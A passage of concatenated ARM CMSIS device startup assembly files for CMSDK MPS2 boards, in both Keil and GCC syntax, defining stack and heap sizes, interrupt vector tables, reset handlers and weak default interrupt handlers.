; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
DCD GPIO1_0_Handler ; 32 GPIO 1 individual interrupt ( 0)
DCD GPIO1_1_Handler ; 33 GPIO 1 individual interrupt ( 1)
DCD GPIO1_2_Handler ; 34 GPIO 1 individual interrupt ( 2)
DCD GPIO1_3_Handler ; 35 GPIO 1 individual interrupt ( 3)
DCD GPIO1_4_Handler ; 36 GPIO 1 individual interrupt ( 4)
DCD GPIO1_5_Handler ; 37 GPIO 1 individual interrupt ( 5)
DCD GPIO1_6_Handler ; 38 GPIO 1 individual interrupt ( 6)
DCD GPIO1_7_Handler ; 39 GPIO 1 individual interrupt ( 7)
DCD GPIO1_8_Handler ; 40 GPIO 1 individual interrupt ( 0)
DCD GPIO1_9_Handler ; 41 GPIO 1 individual interrupt ( 9)
DCD GPIO1_10_Handler ; 42 GPIO 1 individual interrupt (10)
DCD GPIO1_11_Handler ; 43 GPIO 1 individual interrupt (11)
DCD GPIO1_12_Handler ; 44 GPIO 1 individual interrupt (12)
DCD GPIO1_13_Handler ; 45 GPIO 1 individual interrupt (13)
DCD GPIO1_14_Handler ; 46 GPIO 1 individual interrupt (14)
DCD GPIO1_15_Handler ; 47 GPIO 1 individual interrupt (15)
DCD SPI_0B_Handler ; 48 SPI #0 interrupt
DCD 0 ; 49 Reserved
DCD SECURETIMER0_Handler ; 50 Secure Timer 0 interrupt
DCD SECURETIMER1_Handler ; 51 Secure Timer 1 interrupt
DCD SPI_1B_Handler ; 52 SPI #1 interrupt
DCD SPI_2B_Handler ; 53 SPI #2 interrupt
DCD SPI_3B_Handler ; 54 SPI #3 interrupt
DCD SPI_4B_Handler ; 55 SPI #4 interrupt
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
EXPORT GPIO0_4_Handler [WEAK]
EXPORT GPIO0_5_Handler [WEAK]
EXPORT GPIO0_6_Handler [WEAK]
EXPORT GPIO0_7_Handler [WEAK]
EXPORT GPIO1_0_Handler [WEAK]
EXPORT GPIO1_1_Handler [WEAK]
EXPORT GPIO1_2_Handler [WEAK]
EXPORT GPIO1_3_Handler [WEAK]
EXPORT GPIO1_4_Handler [WEAK]
EXPORT GPIO1_5_Handler [WEAK]
EXPORT GPIO1_6_Handler [WEAK]
EXPORT GPIO1_7_Handler [WEAK]
EXPORT GPIO1_8_Handler [WEAK]
EXPORT GPIO1_9_Handler [WEAK]
EXPORT GPIO1_10_Handler [WEAK]
EXPORT GPIO1_11_Handler [WEAK]
EXPORT GPIO1_12_Handler [WEAK]
EXPORT GPIO1_13_Handler [WEAK]
EXPORT GPIO1_14_Handler [WEAK]
EXPORT GPIO1_15_Handler [WEAK]
EXPORT SPI_0B_Handler [WEAK]
EXPORT SECURETIMER0_Handler [WEAK]
EXPORT SECURETIMER1_Handler [WEAK]
EXPORT SPI_1B_Handler [WEAK]
EXPORT SPI_2B_Handler [WEAK]
EXPORT SPI_3B_Handler [WEAK]
EXPORT SPI_4B_Handler [WEAK]
UART0RX_Handler
UART0TX_Handler
UART1RX_Handler
UART1TX_Handler
UART2RX_Handler
UART2TX_Handler
GPIO0ALL_Handler
GPIO1ALL_Handler
TIMER0_Handler
TIMER1_Handler
DUALTIMER_Handler
SPI_0_1_Handler
UART_0_1_2_OVF_Handler
ETHERNET_Handler
I2S_Handler
TOUCHSCREEN_Handler
GPIO2_Handler
GPIO3_Handler
UART3RX_Handler
UART3TX_Handler
UART4RX_Handler
UART4TX_Handler
SPI_2_Handler
SPI_3_4_Handler
GPIO0_0_Handler
GPIO0_1_Handler
GPIO0_2_Handler
GPIO0_3_Handler
GPIO0_4_Handler
GPIO0_5_Handler
GPIO0_6_Handler
GPIO0_7_Handler
GPIO1_0_Handler
GPIO1_1_Handler
GPIO1_2_Handler
GPIO1_3_Handler
GPIO1_4_Handler
GPIO1_5_Handler
GPIO1_6_Handler
GPIO1_7_Handler
GPIO1_8_Handler
GPIO1_9_Handler
GPIO1_10_Handler
GPIO1_11_Handler
GPIO1_12_Handler
GPIO1_13_Handler
GPIO1_14_Handler
GPIO1_15_Handler
SPI_0B_Handler
SECURETIMER0_Handler
SECURETIMER1_Handler
SPI_1B_Handler
SPI_2B_Handler
SPI_3B_Handler
SPI_4B_Handler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap PROC
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ENDP
ALIGN
ENDIF
END
|
vsfteam/vsf | 13,183 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_ARMv8MBL/Source/GCC/startup_CMSDK_ARMv8MBL.S | /**************************************************************************//**
* @file startup_CMSDK_ARMv8MBL.s
* @brief CMSIS Core Device Startup File for
* CMSDK_ARMv8MBL Device
* @version V1.00
* @date 12. July 2016
******************************************************************************/
/* Copyright (c) 2015 - 2016 ARM LIMITED
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of ARM nor the names of its contributors may be used
to endorse or promote products derived from this software without
specific prior written permission.
*
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------*/
.syntax unified
.arch armv6-m
.section .stack
.align 3
#ifdef __STACK_SIZE
.equ Stack_Size, __STACK_SIZE
#else
.equ Stack_Size, 0x00000400
#endif
.globl __StackTop
.globl __StackLimit
__StackLimit:
.space Stack_Size
.size __StackLimit, . - __StackLimit
__StackTop:
.size __StackTop, . - __StackTop
.section .heap
.align 3
#ifdef __HEAP_SIZE
.equ Heap_Size, __HEAP_SIZE
#else
.equ Heap_Size, 0x00000C00
#endif
.globl __HeapBase
.globl __HeapLimit
__HeapBase:
.if Heap_Size
.space Heap_Size
.endif
.size __HeapBase, . - __HeapBase
__HeapLimit:
.size __HeapLimit, . - __HeapLimit
.section .vectors
.align 2
.globl __Vectors
__Vectors:
.long __StackTop /* Top of Stack */
.long Reset_Handler /* Reset Handler */
.long NMI_Handler /* NMI Handler */
.long HardFault_Handler /* Hard Fault Handler */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long SVC_Handler /* SVCall Handler */
.long 0 /* Reserved */
.long 0 /* Reserved */
.long PendSV_Handler /* PendSV Handler */
.long SysTick_Handler /* SysTick Handler */
/* External interrupts */
.long UART0RX_Handler /* 0 UART 0 receive interrupt */
.long UART0TX_Handler /* 1 UART 0 transmit interrupt */
.long UART1RX_Handler /* 2 UART 1 receive interrupt */
.long UART1TX_Handler /* 3 UART 1 transmit interrupt */
.long UART2RX_Handler /* 4 UART 2 receive interrupt */
.long UART2TX_Handler /* 5 UART 2 transmit interrupt */
.long GPIO0ALL_Handler /* 6 GPIO 0 combined interrupt */
.long GPIO1ALL_Handler /* 7 GPIO 1 combined interrupt */
.long TIMER0_Handler /* 8 Timer 0 interrupt */
.long TIMER1_Handler /* 9 Timer 1 interrupt */
.long DUALTIMER_Handler /* 10 Dual Timer interrupt */
.long SPI_0_1_Handler /* 11 SPI #0, #1 interrupt */
.long UART_0_1_2_OVF_Handler /* 12 UART overflow (0, 1 & 2) interrupt */
.long ETHERNET_Handler /* 13 Ethernet interrupt */
.long I2S_Handler /* 14 Audio I2S interrupt */
.long TOUCHSCREEN_Handler /* 15 Touch Screen interrupt */
.long GPIO2_Handler /* 16 GPIO 2 combined interrupt */
.long GPIO3_Handler /* 17 GPIO 3 combined interrupt */
.long UART3RX_Handler /* 18 UART 3 receive interrupt */
.long UART3TX_Handler /* 19 UART 3 transmit interrupt */
.long UART4RX_Handler /* 20 UART 4 receive interrupt */
.long UART4TX_Handler /* 21 UART 4 transmit interrupt */
.long SPI_2_Handler /* 22 SPI #2 interrupt */
.long SPI_3_4_Handler /* 23 SPI #3, SPI #4 interrupt */
.long GPIO0_0_Handler /* 24 GPIO 0 individual interrupt ( 0) */
.long GPIO0_1_Handler /* 25 GPIO 0 individual interrupt ( 1) */
.long GPIO0_2_Handler /* 26 GPIO 0 individual interrupt ( 2) */
.long GPIO0_3_Handler /* 27 GPIO 0 individual interrupt ( 3) */
.long GPIO0_4_Handler /* 28 GPIO 0 individual interrupt ( 4) */
.long GPIO0_5_Handler /* 29 GPIO 0 individual interrupt ( 5) */
.long GPIO0_6_Handler /* 30 GPIO 0 individual interrupt ( 6) */
.long GPIO0_7_Handler /* 31 GPIO 0 individual interrupt ( 7) */
.long GPIO1_0_Handler /* 32 GPIO 1 individual interrupt ( 0) */
.long GPIO1_1_Handler /* 33 GPIO 1 individual interrupt ( 1) */
.long GPIO1_2_Handler /* 34 GPIO 1 individual interrupt ( 2) */
.long GPIO1_3_Handler /* 35 GPIO 1 individual interrupt ( 3) */
.long GPIO1_4_Handler /* 36 GPIO 1 individual interrupt ( 4) */
.long GPIO1_5_Handler /* 37 GPIO 1 individual interrupt ( 5) */
.long GPIO1_6_Handler /* 38 GPIO 1 individual interrupt ( 6) */
.long GPIO1_7_Handler /* 39 GPIO 1 individual interrupt ( 7) */
.long GPIO1_8_Handler /* 40 GPIO 1 individual interrupt ( 0) */
.long GPIO1_9_Handler /* 41 GPIO 1 individual interrupt ( 9) */
.long GPIO1_10_Handler /* 42 GPIO 1 individual interrupt (10) */
.long GPIO1_11_Handler /* 43 GPIO 1 individual interrupt (11) */
.long GPIO1_12_Handler /* 44 GPIO 1 individual interrupt (12) */
.long GPIO1_13_Handler /* 45 GPIO 1 individual interrupt (13) */
.long GPIO1_14_Handler /* 46 GPIO 1 individual interrupt (14) */
.long GPIO1_15_Handler /* 47 GPIO 1 individual interrupt (15) */
.long SPI_0B_Handler /* 48 SPI #0 interrupt */
.long 0 /* 49 Reserved */
.long SECURETIMER0_Handler /* 50 Secure Timer 0 interrupt */
.long SECURETIMER1_Handler /* 51 Secure Timer 1 interrupt */
.long SPI_1B_Handler /* 52 SPI #1 interrupt */
.long SPI_2B_Handler /* 53 SPI #2 interrupt */
.long SPI_3B_Handler /* 54 SPI #3 interrupt */
.long SPI_4B_Handler /* 55 SPI #4 interrupt */
.size __Vectors, . - __Vectors
.text
.thumb
.thumb_func
.align 1
.globl Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
/* Firstly it copies data from read only memory to RAM. There are two schemes
* to copy. One can copy more than one sections. Another can only copy
* one section. The former scheme needs more instructions and read-only
* data to implement than the latter.
* Macro __STARTUP_COPY_MULTIPLE is used to choose between two schemes. */
#ifdef __STARTUP_COPY_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __copy_table_start__ and __copy_table_end__,
* there are array of triplets, each of which specify:
* offset 0: LMA of start of a section to copy from
* offset 4: VMA of start of a section to copy to
* offset 8: size of the section to copy. Must be multiply of 4
*
* All addresses must be aligned to 4 bytes boundary.
*/
ldr r4, =__copy_table_start__
ldr r5, =__copy_table_end__
.L_loop0:
cmp r4, r5
bge .L_loop0_done
ldr r1, [r4]
ldr r2, [r4, #4]
ldr r3, [r4, #8]
.L_loop0_0:
subs r3, #4
blt .L_loop0_0_done
ldr r0, [r1, r3]
str r0, [r2, r3]
b .L_loop0_0
.L_loop0_0_done:
adds r4, #12
b .L_loop0
.L_loop0_done:
#else
/* Single section scheme.
*
* The ranges of copy from/to are specified by following symbols
* __etext: LMA of start of the section to copy from. Usually end of text
* __data_start__: VMA of start of the section to copy to
* __data_end__: VMA of end of the section to copy to
*
* All addresses must be aligned to 4 bytes boundary.
*/
ldr r1, =__etext
ldr r2, =__data_start__
ldr r3, =__data_end__
subs r3, r2
ble .L_loop1_done
.L_loop1:
subs r3, #4
ldr r0, [r1,r3]
str r0, [r2,r3]
bgt .L_loop1
.L_loop1_done:
#endif /*__STARTUP_COPY_MULTIPLE */
/* This part of work usually is done in C library startup code. Otherwise,
* define this macro to enable it in this startup.
*
* There are two schemes too. One can clear multiple BSS sections. Another
* can only clear one section. The former is more size expensive than the
* latter.
*
* Define macro __STARTUP_CLEAR_BSS_MULTIPLE to choose the former.
* Otherwise efine macro __STARTUP_CLEAR_BSS to choose the later.
*/
#ifdef __STARTUP_CLEAR_BSS_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __copy_table_start__ and __copy_table_end__,
* there are array of tuples specifying:
* offset 0: Start of a BSS section
* offset 4: Size of this BSS section. Must be multiply of 4
*/
ldr r3, =__zero_table_start__
ldr r4, =__zero_table_end__
.L_loop2:
cmp r3, r4
bge .L_loop2_done
ldr r1, [r3]
ldr r2, [r3, #4]
movs r0, 0
.L_loop2_0:
subs r2, #4
blt .L_loop2_0_done
str r0, [r1, r2]
b .L_loop2_0
.L_loop2_0_done:
adds r3, #8
b .L_loop2
.L_loop2_done:
#elif defined (__STARTUP_CLEAR_BSS)
/* Single BSS section scheme.
*
* The BSS section is specified by following symbols
* __bss_start__: start of the BSS section.
* __bss_end__: end of the BSS section.
*
* Both addresses must be aligned to 4 bytes boundary.
*/
ldr r1, =__bss_start__
ldr r2, =__bss_end__
movs r0, 0
subs r2, r1
ble .L_loop3_done
.L_loop3:
subs r2, #4
str r0, [r1, r2]
bgt .L_loop3
.L_loop3_done:
#endif /* __STARTUP_CLEAR_BSS_MULTIPLE || __STARTUP_CLEAR_BSS */
#ifndef __NO_SYSTEM_INIT
bl SystemInit
#endif
#ifndef __START
#define __START _start
#endif
bl __START
.pool
.size Reset_Handler, . - Reset_Handler
.align 1
.thumb_func
.weak Default_Handler
.type Default_Handler, %function
Default_Handler:
b .
.size Default_Handler, . - Default_Handler
/* Macro to define default handlers. Default handler
* will be weak symbol and just dead loops. They can be
* overwritten by other handlers */
.macro def_irq_handler handler_name
.weak \handler_name
.set \handler_name, Default_Handler
.endm
def_irq_handler NMI_Handler
def_irq_handler HardFault_Handler
def_irq_handler SVC_Handler
def_irq_handler PendSV_Handler
def_irq_handler SysTick_Handler
def_irq_handler UART0RX_Handler
def_irq_handler UART0TX_Handler
def_irq_handler UART1RX_Handler
def_irq_handler UART1TX_Handler
def_irq_handler UART2RX_Handler
def_irq_handler UART2TX_Handler
def_irq_handler GPIO0ALL_Handler
def_irq_handler GPIO1ALL_Handler
def_irq_handler TIMER0_Handler
def_irq_handler TIMER1_Handler
def_irq_handler DUALTIMER_Handler
def_irq_handler SPI_0_1_Handler
def_irq_handler UART_0_1_2_OVF_Handler
def_irq_handler ETHERNET_Handler
def_irq_handler I2S_Handler
def_irq_handler TOUCHSCREEN_Handler
def_irq_handler GPIO2_Handler
def_irq_handler GPIO3_Handler
def_irq_handler UART3RX_Handler
def_irq_handler UART3TX_Handler
def_irq_handler UART4RX_Handler
def_irq_handler UART4TX_Handler
def_irq_handler SPI_2_Handler
def_irq_handler SPI_3_4_Handler
def_irq_handler GPIO0_0_Handler
def_irq_handler GPIO0_1_Handler
def_irq_handler GPIO0_2_Handler
def_irq_handler GPIO0_3_Handler
def_irq_handler GPIO0_4_Handler
def_irq_handler GPIO0_5_Handler
def_irq_handler GPIO0_6_Handler
def_irq_handler GPIO0_7_Handler
def_irq_handler GPIO1_0_Handler
def_irq_handler GPIO1_1_Handler
def_irq_handler GPIO1_2_Handler
def_irq_handler GPIO1_3_Handler
def_irq_handler GPIO1_4_Handler
def_irq_handler GPIO1_5_Handler
def_irq_handler GPIO1_6_Handler
def_irq_handler GPIO1_7_Handler
def_irq_handler GPIO1_8_Handler
def_irq_handler GPIO1_9_Handler
def_irq_handler GPIO1_10_Handler
def_irq_handler GPIO1_11_Handler
def_irq_handler GPIO1_12_Handler
def_irq_handler GPIO1_13_Handler
def_irq_handler GPIO1_14_Handler
def_irq_handler GPIO1_15_Handler
def_irq_handler SPI_0B_Handler
def_irq_handler SECURETIMER0_Handler
def_irq_handler SECURETIMER1_Handler
def_irq_handler SPI_1B_Handler
def_irq_handler SPI_2B_Handler
def_irq_handler SPI_3B_Handler
def_irq_handler SPI_4B_Handler
.end
|
vsfteam/vsf | 10,801 | source/hal/driver/arm/mps2/common/V2M-MPS2_CMx_BSP/1.7.1/Device/CMSDK_CM1/Source/ARM/startup_CMSDK_CM1.s | ;/**************************************************************************//**
; * @file startup_CMSDK_CM0.s
; * @brief CMSIS Core Device Startup File for
; * CMSDK_CM0 Device
; * @version V3.05
; * @date 09. November 2016
; ******************************************************************************/
;/* Copyright (c) 2011 - 2016 ARM LIMITED
;
; All rights reserved.
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
; - Neither the name of ARM nor the names of its contributors may be used
; to endorse or promote products derived from this software without
; specific prior written permission.
; *
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDERS AND CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
; ---------------------------------------------------------------------------*/
;/*
;//-------- <<< Use Configuration Wizard in Context Menu >>> ------------------
;*/
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000C00
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD UART0RX_Handler ; 0 UART 0 receive interrupt
DCD UART0TX_Handler ; 1 UART 0 transmit interrupt
DCD UART1RX_Handler ; 2 UART 1 receive interrupt
DCD UART1TX_Handler ; 3 UART 1 transmit interrupt
DCD UART2RX_Handler ; 4 UART 2 receive interrupt
DCD UART2TX_Handler ; 5 UART 2 transmit interrupt
DCD GPIO0ALL_Handler ; 6 GPIO 0 combined interrupt
DCD GPIO1ALL_Handler ; 7 GPIO 1 combined interrupt
DCD TIMER0_Handler ; 8 Timer 0 interrupt
DCD TIMER1_Handler ; 9 Timer 1 interrupt
DCD DUALTIMER_Handler ; 10 Dual Timer interrupt
DCD SPI_0_1_Handler ; 11 SPI #0, #1 interrupt
DCD UART_0_1_2_OVF_Handler ; 12 UART overflow (0, 1 & 2) interrupt
DCD ETHERNET_Handler ; 13 Ethernet interrupt
DCD I2S_Handler ; 14 Audio I2S interrupt
DCD TOUCHSCREEN_Handler ; 15 Touch Screen interrupt
DCD GPIO2_Handler ; 16 GPIO 2 combined interrupt
DCD GPIO3_Handler ; 17 GPIO 3 combined interrupt
DCD UART3RX_Handler ; 18 UART 3 receive interrupt
DCD UART3TX_Handler ; 19 UART 3 transmit interrupt
DCD UART4RX_Handler ; 20 UART 4 receive interrupt
DCD UART4TX_Handler ; 21 UART 4 transmit interrupt
DCD SPI_2_Handler ; 22 SPI #2 interrupt
DCD SPI_3_4_Handler ; 23 SPI #3, SPI #4 interrupt
DCD GPIO0_0_Handler ; 24 GPIO 0 individual interrupt ( 0)
DCD GPIO0_1_Handler ; 25 GPIO 0 individual interrupt ( 1)
DCD GPIO0_2_Handler ; 26 GPIO 0 individual interrupt ( 2)
DCD GPIO0_3_Handler ; 27 GPIO 0 individual interrupt ( 3)
DCD GPIO0_4_Handler ; 28 GPIO 0 individual interrupt ( 4)
DCD GPIO0_5_Handler ; 29 GPIO 0 individual interrupt ( 5)
DCD GPIO0_6_Handler ; 30 GPIO 0 individual interrupt ( 6)
DCD GPIO0_7_Handler ; 31 GPIO 0 individual interrupt ( 7)
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT UART0RX_Handler [WEAK]
EXPORT UART0TX_Handler [WEAK]
EXPORT UART1RX_Handler [WEAK]
EXPORT UART1TX_Handler [WEAK]
EXPORT UART2RX_Handler [WEAK]
EXPORT UART2TX_Handler [WEAK]
EXPORT GPIO0ALL_Handler [WEAK]
EXPORT GPIO1ALL_Handler [WEAK]
EXPORT TIMER0_Handler [WEAK]
EXPORT TIMER1_Handler [WEAK]
EXPORT DUALTIMER_Handler [WEAK]
EXPORT SPI_0_1_Handler [WEAK]
EXPORT UART_0_1_2_OVF_Handler [WEAK]
EXPORT ETHERNET_Handler [WEAK]
EXPORT I2S_Handler [WEAK]
EXPORT TOUCHSCREEN_Handler [WEAK]
EXPORT GPIO2_Handler [WEAK]
EXPORT GPIO3_Handler [WEAK]
EXPORT UART3RX_Handler [WEAK]
EXPORT UART3TX_Handler [WEAK]
EXPORT UART4RX_Handler [WEAK]
EXPORT UART4TX_Handler [WEAK]
EXPORT SPI_2_Handler [WEAK]
EXPORT SPI_3_4_Handler [WEAK]
EXPORT GPIO0_0_Handler [WEAK]
EXPORT GPIO0_1_Handler [WEAK]
EXPORT GPIO0_2_Handler [WEAK]
EXPORT GPIO0_3_Handler [WEAK]
